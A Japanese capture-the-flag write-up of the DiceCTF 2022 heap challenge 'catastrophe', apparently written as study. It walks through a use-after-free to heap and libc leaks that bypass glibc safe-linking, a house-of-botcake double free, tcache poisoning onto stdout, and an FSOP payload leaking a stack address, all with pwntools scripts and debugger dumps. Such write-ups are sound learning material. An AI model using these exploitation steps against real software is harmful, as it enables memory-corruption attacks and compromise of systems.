dicectf2022-catastrophe
heap問の勉強に過去問を解きました。
競技中は問題バイナリとlibcが配布されていたようですが、今回はソースコード見ながら解きました。
また、詰まって部分でWriteupを見ています。
※というかほぼ見ました
作問者様のリポジトリ:
バイナリの挙動とか
ソースコード
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <inttypes.h>
#include <string.h>
#define NUM_CHONKS 10
char *chonks[NUM_CHONKS];
uint64_t get_number() {
char buf[16];
printf("> ");
fgets(buf, sizeof(buf), stdin);
return strtoull(buf, NULL, 10);
}
uint64_t get_index() {
uint64_t num = 0;
while ((num = get_number()) >= NUM_CHONKS) {
puts("Invalid!");
}
return num;
}
void print_menu() {
puts("--- menu ---");
puts("1) malloc");
puts("2) free");
puts("3) view");
puts("4) leave");
puts("------------");
}
void op_malloc() {
puts("Index?");
uint64_t idx = get_index();
puts("Size?");
uint64_t size = get_number();
if (size < 1 || size > 0x200) {
puts("Interesting...");
return;
}
chonks[idx] = malloc(size);
printf("Enter content: ");
fgets(chonks[idx], size, stdin);
}
void op_free() {
puts("Index?");
uint64_t idx = get_index();
free(chonks[idx]);
}
void op_view() {
puts("Index?");
uint64_t idx = get_index();
puts(chonks[idx]);
}
int main() {
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
while (1) {
print_menu();
switch (get_number()) {
case 1:
op_malloc();
break;
case 2:
op_free();
break;
case 3:
op_view();
break;
case 4:
puts("Bye!");
exit(0);
default:
puts("Invalid choice!");
}
printf("\n");
}
}
問題バイナリは64bit ELFでセキュリティ緩和機構はすべて有効でした。
$ file catastrophe
catastrophe: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=18ce57260a9d3b5b5e79e395d839a4c00235c545, for GNU/Linux 3.2.0, not stripped
$ checksec catastrophe
[*] '/home/ubuntu/workspace/ctf/dicectf2022/catastrophe'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
このバイナリには一般的なheap問同様にmalloc,free,viewをする機能があります。
また、freeした後のchunkをviewできるuafがあります。
Safe-linking
glibc2.32以降のバージョンではsafe-linkingという機能が実装されています。
本問を解くにあたりこれをbypassする必要があるのでsafe-linkingについて書いてみます。
※誤りがあればご指摘ください
safe-linkingはチェインされるポインタに対してPROTECT_PTRというマクロで以下のような加工をします。
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
参照:
実際に確認してみます。
以下は問題バイナリで2回mallocしたあと2回freeした際のtcacheとheapの様子です。
pwndbg> bins
tcachebins
0x20 [ 2]: 0x5555555592a0 —▸ 0x5555555592c0 ◂— 0x0
0x555555559290 0x0000000000000000 0x0000000000000021 ........!.......
0x5555555592a0 0x000055500000c799 0x6e42348ed766921a ....PU....f..4Bn <-- tcachebins[0x20][0/2]
0x5555555592b0 0x0000000000000000 0x0000000000000021 ........!.......
0x5555555592c0 0x0000000555555559 0x6e42348ed766921a YUUU......f..4Bn <-- tcachebins[0x20][1/2]
0x5555555592d0 0x0000000000000000 0x0000000000020d31 ........1....... <-- Top chunk
0x5555555592a0には0x000055500000c799が格納されています。
safe-linkingのマクロの通りになっているか確認します。
pwndbg> p/x (0x5555555592a0 >>12) ^ 0x5555555592c0
$1 = 0x55500000c799
当然かもしれませんがマクロの通りになっているのがわかります。
復元する際にはREVEAL_PTRで実装されています。
※REVEAL_PTRではPROTECT_PTRがそのまま利用されています。
こちらも試してみます。
復元の際にはsafe-linkingで加工されたポインタを、格納しているアドレスを右に12bitシフトしたもので排他的論理和を取ればよいです。
pwndbg> p/x (0x5555555592a0 >>12) ^ 0x55500000c799
$2 = 0x5555555592c0
こちらもマクロの通りになりました。
heap leak
上記のsafe-linkingをバイパスするためにはheapアドレスをリークする必要があります。
heapのアドレスがリークできれば格納したいポインタと、リークしたアドレスを右に12bitシフトした値で排他的論理和を取ればこれをバイパスできます。
tcacheに最初につながれたchunkのfdをリークします。
tcacheに最初につながれるchunkのfdに入る値は0で排他的論理和を取るためです。
safe-linkingではpositionの下位3nibleは使われないためこの値をリークできればバイパスが可能です。
pwndbg> p/x (0x5555555592c0 >> 12) ^ 0
$3 = 0x555555559
以下のスクリプトでheapアドレスをリークしてみます。
heapリークスクリプト
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b *op_view
b *op_malloc
b *op_malloc+102
b *op_free
continue
'''.format(**locals())
exe = "./catastrophe"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"
libc = ELF("./libc.so.6",checksec=False)
def menu(io,select):
io.sendlineafter(b"menu",select)
def malloc(io,idx,size,data):
menu(io,b"1")
io.sendlineafter(b"Index?",str(idx).encode())
io.sendlineafter(b"Size?",str(size).encode())
io.sendlineafter(b"Enter content:",data)
def free(io,idx):
menu(io,b"2")
io.sendlineafter(b"Index?",str(idx).encode())
def view(io,idx):
menu(io,b"3")
io.sendlineafter(b"Index?",str(idx).encode())
def leave(io):
menu(io,b"4")
def safe_linking(addr,heap_base):
return p64(addr ^ (heap_base >> 12))
io = start()
malloc(io, 0, 0x10,"AAA")
free(io,0)
view(io,0)
io.recvuntil(b"> ")
heap_base = u64(io.recv(5).ljust(8,b"\x00")) <<12
info("heap_base %#x",heap_base)
io.interactive()
[DEBUG] Received 0x46 bytes:
00000000 9f e3 92 59 05 0a 0a 2d 2d 2d 20 6d 65 6e 75 20 │···Y│···-│-- m│enu │
00000010 2d 2d 2d 0a 31 29 20 6d 61 6c 6c 6f 63 0a 32 29 │---·│1) m│allo│c·2)│
00000020 20 66 72 65 65 0a 33 29 20 76 69 65 77 0a 34 29 │ fre│e·3)│ vie│w·4)│
00000030 20 6c 65 61 76 65 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d │ lea│ve·-│----│----│
00000040 2d 2d 2d 0a 3e 20 │---·│> │
00000046
[*] heap_base 0x55992e39f000
[*] Switching to interactive mode
0x55992e39f000が出力されました。
このアドレスはfree chunkのfdであることを確認します。
0x55992e39f290 0x0000000000000000 0x0000000000000021 ........!.......
0x55992e39f2a0 0x000000055992e39f 0xc1ece41dc2e4d7db ...Y............ <-- tcachebins[0x20][0/1]
0x55992e39f2b0 0x0000000000000000 0x0000000000020d51
目論見通り、fdの値をリークできました。
libc leak
次にlibcのアドレスをリークします。
これにはunsorted binに最初につながれたchunkのfdをリークすればよいです。
unsorted binにチェインするためにはtcacheを満たした後で、fastbinに入らないサイズのchunkをfreeします。
fastbinに入る最大のサイズはglobal_max_fastで定義されています。
これはset_max_fastというマクロによってセットされます。
この関数の引数はDEFAULT_MXFASTが設定されており、この値は128(0x80)が設定されています。
以下にset_max_fastやglobal_max_fast周りの挙動を記載しておきます。
global_max_fast周りの挙動
#define set_max_fast(s) \
global_max_fast = (((size_t) (s) <= MALLOC_ALIGN_MASK - SIZE_SZ) \
? MIN_CHUNK_SIZE / 2 : ((s + SIZE_SZ) & ~MALLOC_ALIGN_MASK))
static inline INTERNAL_SIZE_T
get_max_fast (void)
{
/* Tell the GCC optimizers that global_max_fast is never larger
than MAX_FAST_SIZE. This avoids out-of-bounds array accesses in
_int_malloc after constant propagation of the size parameter.
(The code never executes because malloc preserves the
global_max_fast invariant, but the optimizers may not recognize
this.) */
if (global_max_fast > MAX_FAST_SIZE)
__builtin_unreachable ();
return global_max_fast;
}
set_max_fastのコール先
DEFAULT_MXFASTが引数としてセットされる。
#endif
set_noncontiguous (av);
if (av == &main_arena)
set_max_fast (DEFAULT_MXFAST);
DEFAULT_MXFASTの定義。
#define DEFAULT_MXFAST (64 * SIZE_SZ / 4)
SIZE_SZ,MALLOC_ALIGNMENTの定義
#ifndef INTERNAL_SIZE_T
# define INTERNAL_SIZE_T size_t
#endif
/* The corresponding word size. */
#define SIZE_SZ (sizeof (INTERNAL_SIZE_T))
#include <malloc-alignment.h>
/* The corresponding bit mask value. */
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
MALLOC_ALIGNMENTの定義
#define MALLOC_ALIGNMENT (2 * SIZE_SZ < __alignof__ (long double) \
? __alignof__ (long double) : 2 * SIZE_SZ)
fastbinに入るsizeのチェック
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
上記に記載した通り、0x80以上のサイズのchunkをfreeすればfastbinに入ることはありません。
そのためtcacheを満たし、TOPに併合されないように0x80以上のchunkをfreeします。
以下を実行します。
libc leak(heapleakとの差分のみ)
for i in range(7):
malloc(io,i,0x100,b"AAA")
malloc(io,7,0x100,b"AAA")
malloc(io,8,0x100,b"AAA")
for i in range(7):
free(io,i)
free(io,7)
view(io,7)
io.recvuntil(b"> ")
libc_leak = u64(io.recv(6).ljust(8,b"\x00")) - 0x219ce0
info("libc_leak %#x",libc_leak)
io.interactive()
以下が結果です。
狙い通りlibcのアドレスをリークできました。
[DEBUG] Received 0x47 bytes:
00000000 e0 4c 47 1a 72 7f 0a 0a 2d 2d 2d 20 6d 65 6e 75 │·LG·│r···│--- │menu│
00000010 20 2d 2d 2d 0a 31 29 20 6d 61 6c 6c 6f 63 0a 32 │ ---│·1) │mall│oc·2│
00000020 29 20 66 72 65 65 0a 33 29 20 76 69 65 77 0a 34 │) fr│ee·3│) vi│ew·4│
00000030 29 20 6c 65 61 76 65 0a 2d 2d 2d 2d 2d 2d 2d 2d │) le│ave·│----│----│
00000040 2d 2d 2d 2d 0a 3e 20 │----│·> │
00000047
[*] libc_leak 0x7f721a25b000
[*] Switching to interactive mode
stack leak
ここまででheap_leakおよびlibc_leakができました。
あとはシェルを取るだけです。
今回はstackアドレスをリークしop_mallocからリターンする際のsaved_ripを上書きしよと思います。
libc_environをからstackアドレスをリークさせようと思いますが、今回はmallocする際にしか書き込みができないため工夫が必要です。
今回はhouse_of_botcakeという方法を使ってみます。
以下のブログを参考にさせていただきました。
参考:https://smallkirby.hatenablog.com/entry/2020/03/18/043236
この方法ではchunkの統合を利用してtcache binでdouble freeを発生させます。
方法については上記の記事にある通り、tcacheを満たした後、unsoted binにchunkをチェインさせ、その後freeさせることで統合を発生させます。
以下にこの際のスクリプトを示します。
※このあとの過程でstdoutでfdを上書きする必要があるのでこれを設定しています。
botcaketest
io = start()
malloc(io, 0, 0x10,"AAA")
free(io,0)
view(io,0)
io.recvuntil(b"> ")
heap_base = u64(io.recv(5).ljust(8,b"\x00")) <<12
info("heap_base %#x",heap_base)
for i in range(7):
malloc(io,i,0x100,b"AAA")
malloc(io,7,0x100,b"AAA")
malloc(io,8,0x100,b"BBB")
#topに併合されないように確保する必要がある
malloc(io,9,0x100,b"AAA")
for i in range(7):
free(io,i)
free(io,7)
view(io,7)
io.recvuntil(b"> ")
libc_leak = u64(io.recv(6).ljust(8,b"\x00")) - 0x219ce0
info("libc_leak %#x",libc_leak)
libc.address = libc_leak
binsh = next(libc.search(b"/bin/sh\x00"))
environ = libc.address + 0x221200
stdout = libc.address + 0x21a780
info("environ: %#x", environ)
info("stdout: %#x", stdout)
free(io,8)
malloc(io,0,0x100,b"CCC")
free(io,8)
payload = flat(
b"D" * 0x108, 0x111, stdout ^ ((heap_base >> 12 ))#+ 0xb20) >> 12),
)
malloc(io,1,0x130,payload)
malloc(io,2,0x100,b"CCC")
malloc(io, 3, 0x100,b"test")
以下は1度目にfree(io,8)する際のbinsの様子です。
0x55b98631746d <op_free+64> call free@plt <free@plt>
ptr: 0x55b9873ddb40 ◂— 0xa424242 /* 'BBB\n' */
pwndbg> bins
tcachebins
0x20 [ 1]: 0x55b9873dd2a0 ◂— 0x0
0x110 [ 7]: 0x55b9873dd920 —▸ 0x55b9873dd810 —▸ 0x55b9873dd700 —▸ 0x55b9873dd5f0 —▸ 0x55b9873dd4e0 —▸
0x55b9873dd3d0 —▸ 0x55b9873dd2c0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55b9873dda20 —▸ 0x7f01c7d9fce0 (main_arena+96) ◂— 0x55b9873dda20
smallbins
empty
largebins
empty
0x000055b9873ddb40がfreeされますが、これはunsortedbinのchunkと統合されます。
以下はfree直後のheapの様子です。
0x55b9873dda20 0x0000000000000000 0x0000000000000221 ........!....... <-- unsortedbin[all][0]
0x55b9873dda30 0x00007f01c7d9fce0 0x00007f01c7d9fce0 ................
0x55b9873dda40 0x0000000000000000 0x0000000000000000 ................
0x55b9873dda50 0x0000000000000000 0x0000000000000000 ................
0x55b9873dda60 0x0000000000000000 0x0000000000000000 ................
0x55b9873dda70 0x0000000000000000 0x0000000000000000 ................
0x55b9873dda80 0x0000000000000000 0x0000000000000000 ................
0x55b9873dda90 0x0000000000000000 0x0000000000000000 ................
0x55b9873ddaa0 0x0000000000000000 0x0000000000000000 ................
0x55b9873ddab0 0x0000000000000000 0x0000000000000000 ................
0x55b9873ddac0 0x0000000000000000 0x0000000000000000 ................
0x55b9873ddad0 0x0000000000000000 0x0000000000000000 ................
0x55b9873ddae0 0x0000000000000000 0x0000000000000000 ................
0x55b9873ddaf0 0x0000000000000000 0x0000000000000000 ................
0x55b9873ddb00 0x0000000000000000 0x0000000000000000 ................
0x55b9873ddb10 0x0000000000000000 0x0000000000000000 ................
0x55b9873ddb20 0x0000000000000000 0x0000000000000000 ................
0x55b9873ddb30 0x0000000000000110 0x0000000000000110 ................
0x55b9873ddb40 0x000000000a424242 0x0000000000000000 BBB.............
0x55b9873ddb50 0x0000000000000000 0x0000000000000000 ................
本バイナリにはchonksという配列にmallocで確保したアドレスを格納しています。
heapやlibcをリークした時のようにuafがあるのでこれらは再利用できます。
freeした0x000055b9873ddb40はindex 8の位置に格納されています。
0x55b98631a0a0 <chonks+64>: 0x000055b9873ddb40
次にmalloc(io,0,0x100,b"CCC")すると、tcacheにチェインされているアドレスが確保されます。
その後free(io,8)すると0x000055b9873ddb40がfreeされます。
tcacheではkeyという値を使ってdouble freeを検知しますが、統合されてしまっているため本来keyが入る値には何も入っていません。よって検知をすり抜けてしまいdouble freeができます。
以下はその際のheapと各binsの様子です。
0x55b9873dda20 0x0000000000000000 0x0000000000000221 ........!....... <-- unsortedbin[all][0]
0x55b9873dda30 0x00007f01c7d9fce0 0x00007f01c7d9fce0 ................
0x55b9873dda40 0x0000000000000000 0x0000000000000000 ................
0x55b9873dda50 0x0000000000000000 0x0000000000000000 ................
0x55b9873dda60 0x0000000000000000 0x0000000000000000 ................
0x55b9873dda70 0x0000000000000000 0x0000000000000000 ................
0x55b9873dda80 0x0000000000000000 0x0000000000000000 ................
0x55b9873dda90 0x0000000000000000 0x0000000000000000 ................
0x55b9873ddaa0 0x0000000000000000 0x0000000000000000 ................
0x55b9873ddab0 0x0000000000000000 0x0000000000000000 ................
0x55b9873ddac0 0x0000000000000000 0x0000000000000000 ................
0x55b9873ddad0 0x0000000000000000 0x0000000000000000 ................
0x55b9873ddae0 0x0000000000000000 0x0000000000000000 ................
0x55b9873ddaf0 0x0000000000000000 0x0000000000000000 ................
0x55b9873ddb00 0x0000000000000000 0x0000000000000000 ................
0x55b9873ddb10 0x0000000000000000 0x0000000000000000 ................
0x55b9873ddb20 0x0000000000000000 0x0000000000000000 ................
0x55b9873ddb30 0x0000000000000110 0x0000000000000110 ................
0x55b9873ddb40 0x000055bcdca5abcd 0xe7288b41e629341b .....U...4).A.(. <-- tcachebins[0x110][0/7]
0x55b9873ddb50 0x0000000000000000 0x0000000000000000
pwndbg> bins
tcachebins
0x20 [ 1]: 0x55b9873dd2a0 ◂— 0x0
0x110 [ 7]: 0x55b9873ddb40 —▸ 0x55b9873dd810 —▸ 0x55b9873dd700 —▸ 0x55b9873dd5f0 —▸ 0x55b9873dd4e0 —▸
0x55b9873dd3d0 —▸ 0x55b9873dd2c0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55b9873dda20 —▸ 0x7f01c7d9fce0 (main_arena+96) ◂— 0x55b9873dda20
smallbins
empty
largebins
empty
tcacheにはfreeした0x55b9873ddb40がチェインされており、これはunsortedbinにチェインされている0x55b9873dda20の範囲と重複しています。
あとはunsorted binからアドレスを取得するようにmallocしたうえでtcache binのヘッダを上書きすればfdを任意の値に設定できます。
その際のダンプを以下に示します。
※アドレスがASLRによって変わってます…
x55de8fa08a20 0x0000000000000000 0x0000000000000141 ........A.......
0x55de8fa08a30 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55de8fa08a40 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55de8fa08a50 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55de8fa08a60 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55de8fa08a70 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55de8fa08a80 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55de8fa08a90 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55de8fa08aa0 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55de8fa08ab0 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55de8fa08ac0 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55de8fa08ad0 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55de8fa08ae0 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55de8fa08af0 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55de8fa08b00 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55de8fa08b10 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55de8fa08b20 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55de8fa08b30 0x4444444444444444 0x0000000000000111 DDDDDDDD........
0x55de8fa08b40 0x00007fe41023ad88 0x7385e13c855c000a ..#.......\.<..s <-- tcachebins[0x110][0/7]
0x55de8fa08b50 0x0000000000000000 0x0000000000000000 ................
0x55de8fa08b60 0x0000000000000000
pwndbg> bins
tcachebins
0x20 [ 1]: 0x55de8fa082a0 ◂— 0x0
0x110 [ 7]: 0x55de8fa08b40 —▸ 0x7fe14dcb5780 (_IO_2_1_stdout_) ◂— 0x705b9f432
tcachebinsに上書きした_IO_2_1_stdout_の値が入っています。
あとは再度mallocした後、もう一度mallocすることでAAW(Arbitrary Address Write)ができます。
fsop
上記まででaawが可能になりました。
今回はstackアドレスをリークさせるのにFSOP(File Stream Oriented Programming)を用い体と思います。
問題バイナリではop_mallocの後、putchar("\n");がコールされます。
この際の出力を_IO_FILE構造体を操作することによってstackアドレスをリークさせます。
FSOP関連 ソースコード
https://github.com/bminor/glibc/blob/4290aed05135ae4c0272006442d147f2155e70d7/libio/putchar.c#L24
putchar (int c)
{
int result;
_IO_acquire_lock (stdout);
result = _IO_putc_unlocked (c, stdout);
_IO_release_lock (stdout);
return result;
}
https://github.com/bminor/glibc/blob/4290aed05135ae4c0272006442d147f2155e70d7/libio/libio.h#L169
#define _IO_putc_unlocked(_ch, _fp) __putc_unlocked_body (_ch, _fp)
https://github.com/bminor/glibc/blob/4290aed05135ae4c0272006442d147f2155e70d7/libio/bits/types/struct_FILE.h#L106
#define __putc_unlocked_body(_ch, _fp) \
(__glibc_unlikely ((_fp)->_IO_write_ptr >= (_fp)->_IO_write_end) \
? __overflow (_fp, (unsigned char) (_ch)) \
: (unsigned char) (*(_fp)->_IO_write_ptr++ = (_ch)))
https://github.com/bminor/glibc/blob/4290aed05135ae4c0272006442d147f2155e70d7/libio/genops.c#L198
int
__overflow (FILE *f, int ch)
{
/* This is a single-byte stream. */
if (f->_mode == 0)
_IO_fwide (f, -1);
return _IO_OVERFLOW (f, ch);
}
https://github.com/bminor/glibc/blob/4290aed05135ae4c0272006442d147f2155e70d7/libio/fileops.c#L730
int
_IO_new_file_overflow (FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}
if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}
https://github.com/bminor/glibc/blob/master/libio/libioP.h#L556
#define _IO_do_flush(_f) \
((_f)->_mode <= 0 \
? _IO_do_write(_f, (_f)->_IO_write_base, \
(_f)->_IO_write_ptr-(_f)->_IO_write_base) \
: _IO_wdo_write(_f, (_f)->_wide_data->_IO_write_base, \
((_f)->_wide_data->_IO_write_ptr \
- (_f)->_wide_data->_IO_write_base)))
static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
_IO_FILE構造体
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
https://github.com/bminor/glibc/blob/4290aed05135ae4c0272006442d147f2155e70d7/libio/libio.h#L66
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED 0x0002
#define _IO_NO_READS 0x0004 /* Reading not allowed. */
#define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
#define _IO_EOF_SEEN 0x0010
#define _IO_ERR_SEEN 0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IN_BACKUP 0x0100
#define _IO_LINE_BUF 0x0200
#define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
/* 0x4000 No longer used, reserved for compat. */
#define _IO_USER_LOCK 0x8000
putcharがコールされると以下の条件が真なら__overflowがコールされます。
(__glibc_unlikely ((_fp)->_IO_write_ptr >= (_fp)->_IO_write_end)
? __overflow (_fp, (unsigned char) (_ch))
引数は以下のように設定されています。
0x7f0022cdda72 <putchar+114> call __overflow <__overflow>
arg0: 0x7f0022e75780 (_IO_2_1_stdout_) ◂— 0xfbad2887
arg1: 0xa
__overflowからは_IO_file_overflowにジャンプします。
この関数内ではfp->flagに_IO_CURRENTLY_PUTTINGが立っているかつ、chがEOFでなく、f->_IO_write_ptr == f->_IO_buf_endが同一であれば_IO_do_writeがコールされます。
※参照https://github.com/bminor/glibc/blob/4290aed05135ae4c0272006442d147f2155e70d7/libio/fileops.c#L739
※_IO_do_flushマクロにて、引数のファイル構造体のmodeが0以下であれば_IO_do_writeがコールされます。
0x7fc25b657f66 <_IO_file_overflow+294> test eax, eax
0x7fc25b657f68 <_IO_file_overflow+296> jle _IO_file_overflow+384 <_IO_file_overflow+384>
↓
0x7fc25b657fc0 <_IO_file_overflow+384> sub rdx, rsi
0x7fc25b657fc3 <_IO_file_overflow+387> mov rdi, rbp
0x7fc25b657fc6 <_IO_file_overflow+390> call _IO_do_write
この時の引数は以下の通りです。
- rdi: stdout(file構造体)
- rsi: _IO_write_base
- rdx: _IO_write_ptr - _IO_write_base
_IO_do_write関数内では_IO_file_writeがコールされます。
0x7f49078fba5d <_IO_do_write+173> call qword ptr [r14 + 0x78] <_IO_file_write>
rdi: 0x7f4907a89780 (_IO_2_1_stdout_) ◂— 0xfbad1800
rsi: 0x7f4907a90200 (environ) —▸ 0x7ffd17364528 —▸ 0x7ffd1736529d ◂— 'SHELL=/bin/bash'
rdx: 0x8
rcx: 0xc00
この関数は_IO_new_file_writeとして定義されており、内部的にwriteをコールしています。
ssize_t
_IO_new_file_write (FILE *f, const void *data, ssize_t n)
{
ssize_t to_do = n;
while (to_do > 0)
{
ssize_t count = (__builtin_expect (f->_flags2
& _IO_FLAGS2_NOTCANCEL, 0)
? __write_nocancel (f->_fileno, data, to_do)
: __write (f->_fileno, data, to_do));
if (count < 0)
{
f->_flags |= _IO_ERR_SEEN;
break;
}
to_do -= count;
data = (void *) ((char *) data + count);
}
n -= to_do;
if (f->_offset >= 0)
f->_offset += n;
return n;
}
writeを実行した後、IO_write_base,IO_write_ptrに_IO_buf_baseを、
fp->modeが0以下かつ、fp->flagの(_IO_LINE_BUF | _IO_UNBUFFERED)が立っていれば、 _IO_write_endに_IO_buf_endが設定されます。
以上がputcharが標準出力にデータを出力するまでの流れです。
引数に渡されるfile構造体によって挙動は違いますが今回はリークする際の挙動を示しました。
あとは上述したAAWを使い、_IO_write_baseをenvironに上書きした上で,_IO_write_ptrなどを適切な値に上書きできれば、stackアドレスをリークできます。
上書きするfile構造体メンバと設定する値は以下の通りです。
- _IO_write_base = environ
- fp->_IO_write_ptr = fp->_IO_write_end : __putc_unlocked_bodyマクロの条件回避
- fp->flag=0xfbad1800 :上位2byteはmagic number 下位2byteは_IO_IS_APPENDINGと_IO_CURRENTLY_PUTTINGをセットしています
- _IO_buf_base = _IO_buf_end = _IO_write_ptr: 初期化処理の際にwrite_ptrに適正な値を入れるため予め_IO_write_ptrの値を入れておきます
以下実際に入力するpayloadです。
stdout_fake_file = flat(
0xfbad1800, #flag
0, # _IO_read_ptr
0, # _IO_read_end
0, # _IO_read_base
environ, # _IO_write_base
environ + 0x8, # _IO_write_ptr
environ + 0x8, #_IO_write_end
environ + 0x8, # _IO_buf_base
environ + 0x8, #_IO_buf_end
)
これを入力したあとでputcharがコールされるとスタックのアドレスがリークされます。
